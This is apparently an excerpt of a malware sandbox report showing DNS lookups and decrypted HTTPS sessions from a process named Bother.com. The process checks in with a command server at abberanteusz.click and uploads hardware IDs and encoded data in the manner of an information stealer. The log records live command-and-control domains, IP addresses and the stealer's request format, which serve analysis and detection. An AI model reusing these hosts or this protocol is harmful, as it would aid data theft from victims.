Jan 1, 2025 16:44:40.134012938 CET	53	61045	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 16:44:02.171513081 CET	192.168.2.4	1.1.1.1	0x5c5d	Standard query (0)	AueDlcepKmDcJHZmhr.AueDlcepKmDcJHZmhr	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:28.997051001 CET	192.168.2.4	1.1.1.1	0xf8d9	Standard query (0)	abberanteusz.click	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:38.309412956 CET	192.168.2.4	1.1.1.1	0x5b15	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:39.464245081 CET	192.168.2.4	1.1.1.1	0xa2bf	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:40.125211954 CET	192.168.2.4	1.1.1.1	0x553a	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 16:44:02.191073895 CET	1.1.1.1	192.168.2.4	0x5c5d	Name error (3)	AueDlcepKmDcJHZmhr.AueDlcepKmDcJHZmhr	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:29.009645939 CET	1.1.1.1	192.168.2.4	0xf8d9	No error (0)	abberanteusz.click		172.67.198.102	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:29.009645939 CET	1.1.1.1	192.168.2.4	0xf8d9	No error (0)	abberanteusz.click		104.21.74.46	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:38.418198109 CET	1.1.1.1	192.168.2.4	0x5b15	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:39.475044966 CET	1.1.1.1	192.168.2.4	0xa2bf	No error (0)	klipvumisui.shop		104.21.37.128	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:39.475044966 CET	1.1.1.1	192.168.2.4	0xa2bf	No error (0)	klipvumisui.shop		172.67.208.58	A (IP address)	IN (0x0001)	false
Jan 1, 2025 16:44:40.134012938 CET	1.1.1.1	192.168.2.4	0x553a	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

abberanteusz.click

cegu.shop

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	172.67.198.102	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: abberanteusz.click
2025-01-01 15:44:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-01 15:44:30 UTC	1125	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=615flmfdm7jv4eae4e6achna5p; expires=Sun, 27 Apr 2025 09:31:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X48B3oqokU2GOFMYzUVcjfdeQca5VWoe0iq85BvTV7dLHFeWco2V%2BnSXBO%2BufZc7Mb5rpunahGpRgiGrD4VnMyloOZnSDiN3MgsIYJSPz27FPsCd7ffuVhNuw4RJ73NCnkaj9NA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a18a59220f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1486&min_rtt=1477&rtt_var=573&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1877813&cwnd=231&unsent_bytes=0&cid=6ad38529185ad850&ts=673&x=0"
2025-01-01 15:44:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-01 15:44:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	172.67.198.102	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: abberanteusz.click
2025-01-01 15:44:30 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--ZINA&j=efdebde057a1df3f7c15b7f4da907c2d
2025-01-01 15:44:31 UTC	1127	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mkesgm0dbeqks0en9doab8a40e; expires=Sun, 27 Apr 2025 09:31:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b5y3By%2FI%2FvWMhSgdA7THSdDDPTJTIJ95J2MuvM43aeXwv39i7GgRmfg0VF8TRW2Ln57eJrYQkzmSbQTLnzUazq4rkCkhV8600H2xc3GqseJOF5AgwcYG0KkC8kw0Yc88%2FoTgfrE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a1919993435e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1624&min_rtt=1620&rtt_var=615&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=980&delivery_rate=1767554&cwnd=240&unsent_bytes=0&cid=b736fe6bbc0189da&ts=502&x=0"
2025-01-01 15:44:31 UTC	242	IN	Data Raw: 34 37 30 0d 0a 65 31 35 4b 44 76 5a 5a 4e 37 35 52 74 79 42 4b 67 4a 35 4a 78 6f 6d 64 73 36 62 57 52 63 6e 6f 36 54 58 44 37 39 32 59 71 43 34 41 66 44 77 73 7a 47 30 62 6e 43 4c 53 41 6e 44 6d 2f 79 57 31 37 4c 47 52 78 37 4a 6e 38 34 36 49 57 62 43 4b 38 62 72 65 51 31 6c 6b 4c 47 2b 61 4b 6c 4b 53 63 39 4a 59 61 4c 72 46 4d 75 54 73 38 35 47 63 39 43 43 6a 69 6f 68 5a 6f 59 36 32 39 39 68 43 47 44 59 6d 61 5a 34 38 56 4e 6f 77 32 30 30 76 35 66 73 6f 72 4f 66 30 33 73 36 37 5a 2b 58 4b 6a 45 2f 68 31 66 2f 56 7a 56 6f 61 45 79 74 39 6e 58 74 4b 6b 69 71 56 52 53 53 69 70 47 75 6e 37 50 2f 66 77 4c 49 75 6f 59 43 42 55 61 43 4c 74 2b 6a 42 53 42 4d 32 4b 47 71 66 4e 6c 33 4f 50 64 46 4b 4a 4f 50 78 4b 4f 53 6c 76 Data Ascii: 470e15KDvZZN75RtyBKgJ5Jxomds6bWRcno6TXD792YqC4AfDwszG0bnCLSAnDm/yW17LGRx7Jn846IWbCK8breQ1lkLG+aKlKSc9JYaLrFMuTs85Gc9CCjiohZoY6299hCGDYmaZ48VNow200v5fsorOf03s67Z+XKjE/h1f/VzVoaEyt9nXtKkiqVRSSipGun7P/fwLIuoYCBUaCLt+jBSBM2KGqfNl3OPdFKJOPxKOSlv
2025-01-01 15:44:31 UTC	901	IN	Data Raw: 39 62 63 39 48 2f 72 32 62 6c 55 73 4a 79 71 39 39 70 4b 57 53 4e 6d 64 64 51 38 57 5a 78 72 6c 55 6f 6b 37 50 6b 6f 71 2b 7a 2b 30 64 61 37 4a 36 69 43 67 31 4f 72 67 72 44 31 78 45 59 65 4e 43 46 72 6d 7a 78 64 32 6a 7a 57 41 6d 61 69 2b 7a 50 6b 73 37 2f 78 31 4c 63 6b 76 34 65 61 46 37 37 44 70 72 72 4e 51 46 6c 6b 61 47 71 61 4f 6c 6a 63 49 64 31 4a 49 2b 66 75 49 4b 33 6d 38 74 48 4a 76 69 69 6f 69 6f 78 64 71 34 4b 31 2f 73 64 42 48 7a 77 6f 4c 4e 70 37 55 73 52 7a 6a 51 49 4c 35 2b 77 73 71 50 32 39 36 34 53 72 61 62 4c 4b 6a 46 76 68 31 66 2f 79 7a 30 38 61 4e 79 64 76 6e 44 42 48 33 43 48 54 54 79 33 77 2b 69 36 71 34 66 7a 44 7a 72 6f 68 71 49 4f 41 58 71 53 4b 75 37 71 45 44 42 34 6b 61 44 54 55 47 6c 6a 58 50 39 39 56 4b 4b 4c 6a 5a 62 32 72 Data Ascii: 9bc9H/r2blUsJyq99pKWSNmddQ8WZxrlUok7Pkoq+z+0da7J6iCg1OrgrD1xEYeNCFrmzxd2jzWAmai+zPks7/x1Lckv4eaF77DprrNQFlkaGqaOljcId1JI+fuIK3m8tHJviioioxdq4K1/sdBHzwoLNp7UsRzjQIL5+wsqP2964SrabLKjFvh1f/yz08aNydvnDBH3CHTTy3w+i6q4fzDzrohqIOAXqSKu7qEDB4kaDTUGljXP99VKKLjZb2r
2025-01-01 15:44:31 UTC	1369	IN	Data Raw: 33 36 31 38 0d 0a 6f 6d 65 30 78 4a 49 58 70 6f 48 2f 6f 6f 70 44 46 6a 4d 67 62 4a 55 2f 57 4e 67 79 32 45 34 68 34 66 41 6e 72 4f 62 7a 31 63 75 38 4c 36 69 43 6d 56 6d 76 69 37 6e 36 7a 77 78 58 66 43 39 30 31 47 4d 56 2b 44 33 43 56 69 4f 67 79 53 69 71 35 66 6a 48 68 4b 74 70 73 73 71 4d 57 2b 48 56 2f 2f 54 48 52 78 55 37 49 57 32 58 4f 31 2f 53 50 4e 39 4b 49 4f 4c 78 4b 71 2f 6a 2b 64 7a 50 75 79 69 73 67 6f 68 62 70 49 43 38 75 6f 51 4d 48 69 52 6f 4e 4e 51 65 57 39 38 69 78 41 41 64 34 66 49 6c 6f 2f 32 2f 7a 6f 71 74 5a 36 79 47 79 77 2f 68 68 37 6a 39 7a 6b 45 54 50 79 78 6f 6d 54 52 63 31 54 72 48 53 43 54 73 37 69 61 75 37 76 48 64 77 62 73 6e 71 6f 75 46 58 61 72 4e 38 62 72 4e 56 46 6c 6b 61 45 4f 5a 4b 30 66 57 4f 4d 51 41 48 65 48 79 4a Data Ascii: 3618ome0xJIXpoH/oopDFjMgbJU/WNgy2E4h4fAnrObz1cu8L6iCmVmvi7n6zwxXfC901GMV+D3CViOgySiq5fjHhKtpssqMW+HV//THRxU7IW2XO1/SPN9KIOLxKq/j+dzPuyisgohbpIC8uoQMHiRoNNQeW98ixAAd4fIlo/2/zoqtZ6yGyw/hh7j9zkETPyxomTRc1TrHSCTs7iau7vHdwbsnqouFXarN8brNVFlkaEOZK0fWOMQAHeHyJ
2025-01-01 15:44:31 UTC	1369	IN	Data Raw: 2b 78 36 49 74 36 35 58 46 54 75 47 4b 73 37 71 53 44 42 4d 77 4c 47 2b 59 4d 6c 6e 52 4d 74 46 46 4a 65 62 38 4c 61 4c 75 2f 74 72 4d 75 43 69 68 68 6f 39 62 71 49 75 7a 2b 63 6c 4b 57 58 4a 6f 61 34 78 37 44 5a 77 53 32 45 6b 6b 34 76 38 36 6f 36 75 78 6b 63 71 79 4a 2b 76 53 6e 55 65 32 69 71 43 30 30 77 77 65 4d 47 67 30 31 44 46 48 32 54 33 52 53 43 33 6d 38 43 47 6b 37 75 33 5a 77 72 4d 72 6f 34 2b 45 55 61 53 41 75 50 48 4a 58 67 73 2f 4c 47 4b 59 65 78 75 63 4e 4d 30 43 63 4b 4c 5a 50 4b 66 37 2b 64 4b 45 71 32 6d 79 79 6f 78 62 34 64 58 2f 2b 73 52 41 45 6a 73 6a 5a 35 41 2f 56 64 45 34 32 30 77 68 37 76 51 6e 6f 2f 6e 79 31 4d 79 2b 4c 71 36 47 68 6c 53 7a 6a 72 36 36 68 41 77 65 4a 47 67 30 31 42 78 6d 36 78 43 56 58 57 62 37 76 43 79 6f 71 36 Data Ascii: +x6It65XFTuGKs7qSDBMwLG+YMlnRMtFFJeb8LaLu/trMuCihho9bqIuz+clKWXJoa4x7DZwS2Ekk4v86o6uxkcqyJ+vSnUe2iqC00wweMGg01DFH2T3RSC3m8CGk7u3ZwrMro4+EUaSAuPHJXgs/LGKYexucNM0CcKLZPKf7+dKEq2myyoxb4dX/+sRAEjsjZ5A/VdE420wh7vQno/ny1My+Lq6GhlSzjr66hAweJGg01Bxm6xCVXWb7vCyoq6
2025-01-01 15:44:31 UTC	1369	IN	Data Raw: 4b 4b 44 4b 6c 42 6d 34 7a 62 6a 32 69 68 52 5a 4f 79 42 6b 6d 6a 68 54 31 7a 2f 5a 51 79 48 6b 2b 53 4f 6a 35 50 6a 59 77 37 51 68 75 59 32 47 58 71 47 47 74 76 44 4f 54 52 4a 38 5a 69 79 54 49 78 57 45 63 2b 64 46 50 76 4c 2f 61 37 75 6c 35 70 48 44 75 47 66 7a 79 6f 5a 46 6f 49 69 74 2f 73 56 48 43 7a 63 75 62 4a 45 70 55 74 41 35 32 6b 45 67 37 2f 38 6a 74 75 76 79 30 64 61 6d 49 61 43 45 79 78 6e 68 69 71 65 36 6b 67 77 6f 4b 79 4d 73 69 33 56 4d 6e 44 54 5a 41 6e 43 69 2f 79 47 70 35 65 33 56 77 72 38 6b 70 59 4b 4f 58 36 57 48 73 76 58 42 52 68 41 30 4b 47 4f 52 4d 31 37 61 50 64 52 45 4a 4f 2b 38 5a 65 54 73 35 35 47 63 39 41 43 78 68 34 31 41 73 4c 69 34 2b 70 73 4d 42 6e 49 78 4c 4a 4d 33 46 59 52 7a 32 45 34 69 37 2f 6b 76 72 4f 7a 38 30 4d 69 Data Ascii: KKDKlBm4zbj2ihRZOyBkmjhT1z/ZQyHk+SOj5PjYw7QhuY2GXqGGtvDOTRJ8ZiyTIxWEc+dFPvL/a7ul5pHDuGfzyoZFoIit/sVHCzcubJEpUtA52kEg7/8jtuvy0damIaCEyxnhiqe6kgwoKyMsi3VMnDTZAnCi/yGp5e3Vwr8kpYKOX6WHsvXBRhA0KGORM17aPdREJO+8ZeTs55Gc9ACxh41AsLi4+psMBnIxLJM3FYRz2E4i7/kvrOz80Mi
2025-01-01 15:44:31 UTC	1369	IN	Data Raw: 73 73 50 34 59 4f 79 2f 4d 74 4e 45 54 51 6f 61 70 34 2f 56 74 55 77 30 6b 73 75 36 66 38 68 71 2b 7a 35 31 63 53 2f 49 4b 57 4d 6a 6c 79 6f 7a 66 47 36 7a 56 52 5a 5a 47 68 4b 74 79 6c 48 37 6a 33 57 57 57 6a 39 73 6a 4c 6b 37 50 4f 52 6e 50 51 73 6f 34 57 5a 55 71 69 46 75 2f 50 4b 53 42 4d 78 4c 32 79 52 4e 6c 44 59 50 64 46 46 4b 4f 37 7a 4c 4b 7a 6b 2b 39 48 4c 39 47 6e 72 6a 5a 4d 58 2b 63 32 66 38 64 78 74 46 7a 63 36 4c 49 74 31 54 4a 77 30 32 51 4a 77 6f 76 49 69 70 65 50 78 33 63 79 77 4e 61 75 42 67 6c 69 67 67 72 2f 35 79 30 59 52 4c 69 35 73 6e 7a 4e 53 31 44 66 62 55 43 6e 74 76 47 58 6b 37 4f 65 52 6e 50 51 57 76 59 32 4d 57 4f 4f 6b 75 4f 48 4c 52 68 6f 33 4a 43 79 4c 64 55 79 63 4e 4e 6b 43 63 4b 4c 78 4a 36 6e 76 37 64 33 45 74 43 36 73 Data Ascii: ssP4YOy/MtNETQoap4/VtUw0ksu6f8hq+z51cS/IKWMjlyozfG6zVRZZGhKtylH7j3WWWj9sjLk7PORnPQso4WZUqiFu/PKSBMxL2yRNlDYPdFFKO7zLKzk+9HL9GnrjZMX+c2f8dxtFzc6LIt1TJw02QJwovIipePx3cywNauBgliggr/5y0YRLi5snzNS1DfbUCntvGXk7OeRnPQWvY2MWOOkuOHLRho3JCyLdUycNNkCcKLxJ6nv7d3EtC6s
2025-01-01 15:44:31 UTC	1369	IN	Data Raw: 2b 49 76 76 62 41 53 78 63 75 4b 57 61 59 4f 6c 4c 62 4f 4d 64 4a 4f 75 6e 30 4b 4b 72 6a 39 74 48 4b 74 43 61 6d 69 73 73 5a 34 59 71 6e 75 70 49 4d 50 42 38 2f 65 70 35 35 64 73 73 6c 33 30 55 6b 39 50 63 71 70 2f 33 79 77 59 54 36 5a 37 71 4e 6d 68 66 35 6d 36 2f 74 7a 56 4e 58 4a 57 68 72 6d 48 73 4e 6e 44 6a 61 54 43 58 70 2b 43 4b 68 34 2f 7a 55 77 62 34 72 70 34 75 44 58 71 75 49 75 76 7a 41 54 78 63 7a 4b 57 43 51 4d 6c 76 56 63 35 73 43 4c 2f 71 38 63 2b 54 64 37 39 62 63 75 54 66 70 75 49 68 47 73 4a 69 79 36 73 77 4f 4e 6a 38 6b 62 35 45 38 52 5a 77 73 6d 31 74 6f 35 66 42 72 2f 4b 76 2f 31 63 69 33 49 4b 57 46 68 6c 69 6d 68 72 44 77 78 46 34 57 4f 53 42 67 6e 44 5a 48 31 6a 6e 48 53 79 48 76 38 69 4f 32 36 4c 2b 66 68 4c 4d 2f 36 39 4c 4c 5a Data Ascii: +IvvbASxcuKWaYOlLbOMdJOun0KKrj9tHKtCamissZ4YqnupIMPB8/ep55dssl30Uk9Pcqp/3ywYT6Z7qNmhf5m6/tzVNXJWhrmHsNnDjaTCXp+CKh4/zUwb4rp4uDXquIuvzATxczKWCQMlvVc5sCL/q8c+Td79bcuTfpuIhGsJiy6swONj8kb5E8RZwsm1to5fBr/Kv/1ci3IKWFhlimhrDwxF4WOSBgnDZH1jnHSyHv8iO26L+fhLM/69LLZ
2025-01-01 15:44:31 UTC	1369	IN	Data Raw: 61 77 56 6f 59 4d 53 4e 67 71 67 56 41 33 7a 33 62 52 54 37 7a 76 47 58 6b 35 4c 2b 4a 2f 66 52 76 36 37 58 46 46 37 6e 4e 35 37 72 2f 54 78 63 79 4c 33 71 46 64 6e 58 58 4a 64 52 50 49 2b 36 2b 4b 71 6e 37 2b 4a 47 4b 39 43 48 72 30 74 73 5a 34 59 6d 75 75 70 49 63 53 32 64 39 50 38 4e 72 42 38 4e 39 7a 41 49 2b 6f 71 52 35 36 71 76 74 6b 5a 7a 30 59 4b 69 59 6d 56 47 69 6d 37 79 39 39 48 49 35 4e 79 52 76 6d 44 70 53 6e 48 32 56 54 57 69 36 78 57 75 6e 2b 65 32 65 31 61 49 71 75 34 33 48 58 37 43 41 73 37 71 45 44 46 55 34 49 32 43 52 50 45 57 54 49 63 56 4a 4a 50 53 77 4c 37 61 72 73 5a 48 56 76 79 69 35 68 49 77 59 73 4a 75 79 36 73 6c 4a 48 6e 41 67 66 5a 6b 33 46 5a 4a 7a 77 45 6b 6b 35 50 45 2b 36 2f 72 70 30 74 4b 7a 61 36 4f 62 68 6c 76 68 73 76 Data Ascii: awVoYMSNgqgVA3z3bRT7zvGXk5L+J/fRv67XFF7nN57r/TxcyL3qFdnXXJdRPI+6+Kqn7+JGK9CHr0tsZ4YmuupIcS2d9P8NrB8N9zAI+oqR56qvtkZz0YKiYmVGim7y99HI5NyRvmDpSnH2VTWi6xWun+e2e1aIqu43HX7CAs7qEDFU4I2CRPEWTIcVJJPSwL7arsZHVvyi5hIwYsJuy6slJHnAgfZk3FZJzwEkk5PE+6/rp0tKza6Obhlvhsv
2025-01-01 15:44:31 UTC	1369	IN	Data Raw: 51 58 77 64 62 35 6f 31 55 73 6f 69 6d 47 51 72 35 66 6f 6f 71 76 7a 75 6b 59 72 30 49 65 76 53 32 52 6e 68 69 61 36 36 6b 68 78 4c 5a 33 30 2f 77 32 73 48 77 33 33 4d 41 6a 36 69 70 48 6a 71 71 2b 32 52 6e 50 52 67 70 59 65 4b 56 4b 2b 4f 72 65 6a 4d 54 77 38 2f 62 31 4b 71 48 6c 6a 52 4e 74 74 46 46 74 7a 64 49 62 54 6d 38 4e 62 36 69 68 43 36 6a 5a 73 56 68 34 36 70 2b 59 6f 43 57 53 52 6f 4e 4e 51 61 58 38 77 2b 32 6b 56 6f 72 4c 77 76 35 4c 4f 2f 39 4d 6d 35 49 71 57 4e 79 58 61 72 6e 62 4c 31 7a 51 78 58 66 43 51 73 7a 48 74 55 31 69 50 59 54 53 2b 75 2b 7a 47 6a 71 37 47 52 79 76 52 2f 36 34 75 42 52 36 79 43 75 4c 62 4d 51 68 64 38 4e 79 4b 4e 65 30 4f 63 61 34 59 4d 61 50 43 38 63 2b 53 73 38 64 7a 46 74 79 6d 6f 6d 4a 6c 52 6f 70 75 38 76 66 52 Data Ascii: QXwdb5o1UsoimGQr5fooqvzukYr0IevS2Rnhia66khxLZ30/w2sHw33MAj6ipHjqq+2RnPRgpYeKVK+OrejMTw8/b1KqHljRNttFFtzdIbTm8Nb6ihC6jZsVh46p+YoCWSRoNNQaX8w+2kVorLwv5LO/9Mm5IqWNyXarnbL1zQxXfCQszHtU1iPYTS+u+zGjq7GRyvR/64uBR6yCuLbMQhd8NyKNe0Oca4YMaPC8c+Ss8dzFtymomJlRopu8vfR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	172.67.198.102	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:31 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8WCYPMDS8B2A1EV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18144 Host: abberanteusz.click
2025-01-01 15:44:31 UTC	15331	OUT	Data Raw: 2d 2d 38 57 43 59 50 4d 44 53 38 42 32 41 31 45 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 34 45 33 44 43 35 45 46 35 37 46 45 35 45 45 31 42 37 31 39 38 32 41 31 30 42 36 34 36 41 0d 0a 2d 2d 38 57 43 59 50 4d 44 53 38 42 32 41 31 45 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 57 43 59 50 4d 44 53 38 42 32 41 31 45 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 38 57 43 59 50 4d Data Ascii: --8WCYPMDS8B2A1EVContent-Disposition: form-data; name="hwid"B84E3DC5EF57FE5EE1B71982A10B646A--8WCYPMDS8B2A1EVContent-Disposition: form-data; name="pid"2--8WCYPMDS8B2A1EVContent-Disposition: form-data; name="lid"hRjzG3--ZINA--8WCYPM
2025-01-01 15:44:31 UTC	2813	OUT	Data Raw: cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f Data Ascii: d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wE
2025-01-01 15:44:32 UTC	1133	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:44:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mtavabfe9lul8re07ogk5terg8; expires=Sun, 27 Apr 2025 09:31:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f0BQPmQafi40mk7U%2FDdMs7akE%2BDwUtjK9KZWOQrnhQ4DLsp88NE0LwLyKJ1ZdXdmkK4Ymp4G4TO20f2ejkWQ7jnU02HoangRDVGaCssnuAgaxmr0r%2FtpX11MEeIdELrA%2BGhPAeM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3a1981d6143fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1569&rtt_var=597&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19105&delivery_rate=1820448&cwnd=217&unsent_bytes=0&cid=9b39a5f1731ef752&ts=602&x=0"
2025-01-01 15:44:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:44:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	172.67.198.102	443	7688	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:44:33 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ONAWXYWTPUVJV1RV5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8777 Host: abberanteusz.click
2025-01-01 15:44:33 UTC	8777	OUT	Data Raw: 2d 2d 4f 4e 41 57 58 59 57 54 50 55 56 4a 56 31 52 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 34 45 33 44 43 35 45 46 35 37 46 45 35 45 45 31 42 37 31 39 38 32 41 31 30 42 36 34 36 41 0d 0a 2d 2d 4f 4e 41 57 58 59 57 54 50 55 56 4a 56 31 52 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 4e 41 57 58 59 57 54 50 55 56 4a 56 31 52 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 